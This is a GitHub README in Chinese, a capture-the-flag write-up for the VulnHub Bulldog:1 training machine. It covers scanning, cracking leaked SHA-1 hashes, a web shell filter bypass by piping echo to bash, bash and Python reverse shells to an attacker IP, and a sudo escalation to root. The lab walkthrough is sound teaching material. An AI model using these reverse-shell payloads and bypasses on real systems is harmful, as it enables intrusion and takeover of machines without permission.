MoriartyPuth-Labs/Bulldog1-Lab

GitHub: MoriartyPuth-Labs/Bulldog1-Lab

一份针对 VulnHub Bulldog:1 靶机的完整渗透测试解题报告,详细演示了从哈希破解、命令注入到权限提升的全流程攻击链。

Stars: 0 | Forks: 0

# 🐶 VulnHub Bulldog: 1 靶机
![平台](https://img.shields.io/badge/Platform-VulnHub-blue?style=for-the-badge&logo=linux&logoColor=white) ![难度](https://img.shields.io/badge/Difficulty-Beginner%20%2F%20Intermediate-yellow?style=for-the-badge) ![技术栈](https://img.shields.io/badge/Stack-Django%20%7C%20Python%202.7-informational?style=for-the-badge&logo=python&logoColor=white) ![攻击向量](https://img.shields.io/badge/Vector-Command%20Injection%20%2B%20SHA--1%20Crack-red?style=for-the-badge) ![Shell](https://img.shields.io/badge/Shell-nc%20Reverse%20Shell-orange?style=for-the-badge&logo=gnubash&logoColor=white) ![状态](https://img.shields.io/badge/Rooted-%E2%9C%94%20Congrats.txt%20Read-success?style=for-the-badge)
## 📖 简介 这是我个人针对 VulnHub 上 **[Bulldog: 1](https://www.vulnhub.com/entry/bulldog-1,211/)** 靶机的解题报告——这是一个 Boot-to-Root 挑战,以一家名为 Bulldog Industries 的虚构公司为主题,其网站此前曾被“German Shepherd Hack Team”篡改。 该靶机运行着一个 **Django Web 应用程序** (Python 2.7.12),其 HTML 源码中泄露了 SHA-1 密码哈希。接下来的渗透路径蜿蜒穿过哈希破解、经过身份验证的 WebShell 访问、通过 `echo` 管道绕过命令注入过滤、`nc` 反向 shell、用于获取隐藏密码的二进制文件字符串分析,最后通过 `sudo su -` 提权至 root。 | 字段 | 详情 | |---|---| | 🖥️ 靶机 | Bulldog: 1 | | 👤 作者 | Nick Frichette (`@frichette_n`) | | ⚡ 难度 | 初级 / 中级 | | 📦 格式 | VirtualBox OVA | | 🐧 操作系统 | Ubuntu Linux | | 🌐 Web 服务器 | Django / WSGIServer 0.1 / Python 2.7.12 | | 🎯 目标 | 以 root 身份读取 `/root/congrats.txt` | | 🔗 靶机页面 | https://www.vulnhub.com/entry/bulldog-1,211/ | ## 🗺️ 攻击链 ``` [Host Discovery] → [Port Scan] → [dirb Directory Scan] → [/dev/ Source Leak] → [SHA-1 Hash Crack] → [Django Login] → [WebShell Access] → [Filter Bypass] → [nc Reverse Shell] → [Hidden Binary] → [strings Password] → [sudo su → ROOT 🏆] ``` ## 🛠️ 方法论 ### 1️⃣ 主机发现 使用了三种方法在本地子网中定位目标。 ``` # 方法 1 — ARP 扫描 arp-scan -l # → 192.168.44.153 # 方法 2 — Nmap ping 扫描 nmap -sP 192.168.44.0/24 # 方法 3 — Netdiscover netdiscover -r 192.168.44.0/24 -i eth0 ``` ### 2️⃣ 端口扫描 ``` nmap -sS -T4 -A -p- 192.168.44.153 ``` | 端口 | 服务 | 备注 | |------|---------|-------| | 23 | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 | | 80 | HTTP | Django — `WSGIServer/0.1 Python/2.7.12` | | 8080 | HTTP | Django — 相同技术栈 | 使用 `nc` 进行快速 Banner 探测,确认了每个端口的服务行为: ``` nc -nv 192.168.44.153 23 nc -nv 192.168.44.153 80 nc -nv 192.168.44.153 8080 ``` ### 3️⃣ 目录枚举 ``` dirb http://192.168.44.153 ``` **发现的关键目录:** | 路径 | 描述 | |------|-------------| | `/admin/` | Django 管理后台登录 | | `/dev/` | 开发人员笔记页面——**金矿** | | `/dev/shell/` | 受限的 WebShell(需要认证) | | `/admin/login/` | 登录端点 | | `/admin/auth/` | 认证管理 | ### 4️⃣ 源码分析与哈希发现 浏览 `http://192.168.44.153/dev/` 时显示了一个开发者通知页面,解释该网站已迁移到 Django 并启用了 SSH。最关键的是,**查看页面源码时暴露了留在 HTML 注释中的 7 个员工邮箱与 SHA-1 哈希对**: ``` alan@bulldogindustries.com — 6515229daf8dbdc8b89fed2e60f107433da5f2cb william@bulldogindustries.com — 38882f3b81f8f2bc47d9f3119155b05f954892fb malik@bulldogindustries.com — c6f7e34d5d08ba4a40dd5627508ccb55b425e279 kevin@bulldogindustries.com — 0e6ae9fe8af1cd4192865ac97ebf6bda414218a9 ashley@bulldogindustries.com — 553d917a396414ab99785694afd51df3a8a8a3e0 nick@bulldogindustries.com — ddf45997a7e18a25ad5f5cf222da64814dd060d5 sarah@bulldogindustries.com — d8b8dd5e7f000b8dea26ef8428caf38c04466b3e ``` ### 5️⃣ SHA-1 哈希破解 #### 方法 A — 在线查询 将每个哈希提交到 [cmd5.com](https://cmd5.com) 和 [somd5.com](https://www.somd5.com)。其中两个成功破解: | 用户 | 哈希 | 明文 | |------|------|-----------| | `nick@bulldogindustries.com` | `ddf459...` | **`bulldog`** | | `sarah@bulldogindustries.com` | `d8b8dd...` | **`bulldoglover`** | #### 方法 B — hash-identifier + John the Ripper ``` # 识别算法 hash-identifier # → SHA-1 # 使用 John 破解 john --format=raw-sha1 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt ``` ### 6️⃣ Django 管理后台登录 使用完整的电子邮件地址作为用户名登录失败。使用简短用户名则登录成功: ``` Username: nick Password: bulldog → Logged in (limited perms) Username: sarah Password: bulldoglover → Logged in (limited perms) ``` ### 7️⃣ WebShell 访问与命令注入 在通过身份验证的会话中访问 `http://192.168.44.153/dev/shell/` 时,展现了一个受限的 WebShell。仅 6 个命令被列入白名单: ``` ifconfig ls echo pwd cat rm ``` 直接执行 `whoami` 或 `bash` 会返回:`INVALID COMMAND. I CAUGHT YOU HACKER!` #### 通过 `echo` + 管道绕过过滤 `echo` 命令是被允许的——这足以包装任何有效载荷并将其通过管道传递给 bash: ``` # 确认绕过有效 echo whoami|sh # → django # 使用 && 链接允许的命令 ifconfig&&ls ifconfig & whoami ``` ### 8️⃣ Netcat 反向 Shell **在 Kali(攻击机)上:** ``` nc -lvp 4444 ``` **在 WebShell(目标机)中:** ``` # 直接的 bash 反向 shell — 被过滤器拦截 bash -i >& /dev/tcp/192.168.44.138/4444 0>&1 # 绕过:包装在 echo 中并通过管道传递给 bash echo "bash -i >& /dev/tcp/192.168.44.138/4444 0>&1" | bash # 或者与白名单命令链接 ls &&echo "bash -i >& /dev/tcp/192.168.44.138/4444 0>&1" | bash ``` #### 替代方案:Python Socket 反向 Shell ``` # 在 Kali 上 — 提供脚本服务 python -m SimpleHTTPServer 80 # 在 WebShell 中 — 下载并触发 pwd&wget http://192.168.44.138/bulldog-webshell.py ``` ``` # bulldog-webshell.py import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.44.138", 4444)) # Kali IP / nc listener port os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/bash","-i"]) ``` ``` # 升级到交互式 TTY python -c 'import pty;pty.spawn("/bin/bash")' ``` ### 9️⃣ 后渗透——隐藏的二进制文件与密码提取 获取了 `django` 用户的 shell 后,在探索主目录时发现了一个有趣的用户: ``` cd /home ls # → bulldogadmin django cd bulldogadmin ls -al # → .hiddenadmindirectory (隐藏!) cd .hiddenadmindirectory ls -al # → customPermissionApp note ``` `customPermissionApp` 是一个编译好的 ELF 二进制文件,没有执行权限。与其运行它,不如提取它的字符串: ``` strings customPermissionApp ``` 输出结果包含四个片段,每个片段都用尾部的一个 `H` 进行填充(这是栈内存的残留数据——并非密码的一部分): ``` SUPERultH imatePASH SWORDyouH CANTget ``` ### 🔟 权限提升 → Root ``` # 首先将 shell 升级为完整 TTY(su 需要) python -c 'import pty; pty.spawn("/bin/bash")' # 提权到 root sudo su - # [sudo] password for django: SUPERultimatePASSWORDyouCANTget whoami # → root ls /root # → congrats.txt cat /root/congrats.txt # → 恭喜你完成了这个虚拟机!... ``` ## 🏆 Flag
``` ___ ___ _ __ __ _ _ __ __ _| |_ ___ / __/ _ \| '_ \ / _` | '__/ _` | __/ __| | (_| (_) | | | | (_| | | | (_| | |_\__ \ \___\___/|_| |_|\__, |_| \__,_|\__|___/ |___/ Congratulations on completing this VM! :D That wasn't so bad was it? — Nick Frichette (@frichette_n) ```
## 📊 攻击总结 | 阶段 | 技术 | 结果 | |---|---|---| | 🔍 侦察 | arp-scan / nmap / dirb | 目标 IP + 开放端口 + 关键目录 | | 📄 源码分析 | 浏览器 DevTools 查看 `/dev/` | 泄露 7 个 SHA-1 哈希 | | 🔓 哈希破解 | 在线查询 + John | `bulldog` / `bulldoglover` | | 🖥️ 认证 | Django 管理后台登录 | 解锁 WebShell | | 💉 注入 | `echo` 管道绕过 | 绕过命令过滤 | | 🐚 Shell | `nc -lvp 4444` + bash 重定向 | 获取 `django` 用户的反向 shell | | 🔎 枚举 | `ls -al` + `strings` | 发现隐藏二进制文件 → 获取 root 密码 | | ⬆️ 提权 | `python pty` + `sudo su -` | 获取 root shell | | 🏆 Flag | `cat /root/congrats.txt` | **Rooted!** | ## 🧰 使用的工具 | 工具 | 用途 | |---|---| | `arp-scan` / `netdiscover` | 主机发现 | | `nmap` | 端口扫描与服务指纹识别 | | `nc` (netcat) | 端口探测与反向 shell 监听器 | | `dirb` | 目录暴力破解 | | `hash-identifier` | 识别哈希算法 (SHA-1) | | `john` | 离线哈希破解 | | `cmd5.com` / `somd5.com` | 在线 SHA-1 查询 | | `strings` | 从二进制文件中提取可读字符串 | | `python pty` | 交互式 TTY 升级 | ## 📚 参考资料 - [VulnHub 靶机页面](https://www.vulnhub.com/entry/bulldog-1,211/) - [靶机作者 — Nick Frichette](https://frichetten.com) ## ⚠️ 免责声明 ## 🏷️ 标签 `ctf` `vulnhub` `boot-to-root` `django` `command-injection` `webshell` `sha1-cracking` `netcat` `reverse-shell` `privilege-escalation` `strings` `python` `kali-linux` `beginner` `intermediate` `writeup` `linux`
标签:Boot-to-Root, CISA项目, CSV导出, CTF Writeup, CTI, Django, IP 地址批量处理, NC反弹Shell, OPA, Python, SHA-1, SUID, VulnHub, WebShell, Writeup, 信息泄露, 协议分析, 反取证, 反弹Shell, 命令注入, 大数据, 安全评估, 提权, 插件系统, 数据泄露, 数据统计, 无后门, 权限提升, 源码审计, 漏洞复现, 目录扫描, 端口扫描, 系统运维工具, 网络安全, 逆向工具, 隐私保护, 靶场